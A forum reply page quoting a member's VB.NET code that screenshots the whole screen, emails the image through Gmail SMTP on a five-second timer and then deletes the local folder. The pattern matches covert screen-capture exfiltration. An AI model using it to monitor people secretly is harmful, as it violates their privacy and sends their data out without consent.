Reply to thread

Message: <blockquote data-quote="gembaknb" data-source="post: 18283150" data-attributes="member: 515883">my code is[CODE]Import System.Net.Mail/////  Dim gr As Graphics        Dim bm As Bitmap        bm = New Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, Drawing.Imaging.PixelFormat.Format32bppArgb)        gr = Graphics.FromImage(bm)        gr.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, New Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height))        gr = Graphics.FromImage(bm)        bm.Save("D:\abc\I.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)        Dim Mail As New MailMessage        Dim SMTP As New SmtpClient("smtp.gmail.com")        Mail.Subject = "Gemba"        Mail.From = New MailAddress("xyz@gmail.com")        SMTP.Credentials = New System.Net.NetworkCredential("xyz@gmail.com", "password")        Mail.To.Add("abc@gmail.com")        Mail.Attachments.Add(New Attachment("D:\abc\I.jpg"))        SMTP.EnableSsl = True        SMTP.Port = "587"        SMTP.Send(Mail)        Timer1.Interval = 5000        My.Computer.FileSystem.DeleteDirectory("D:\abc", FileIO.DeleteDirectoryOption.DeleteAllContents)[/CODE]</blockquote>

Top Bottom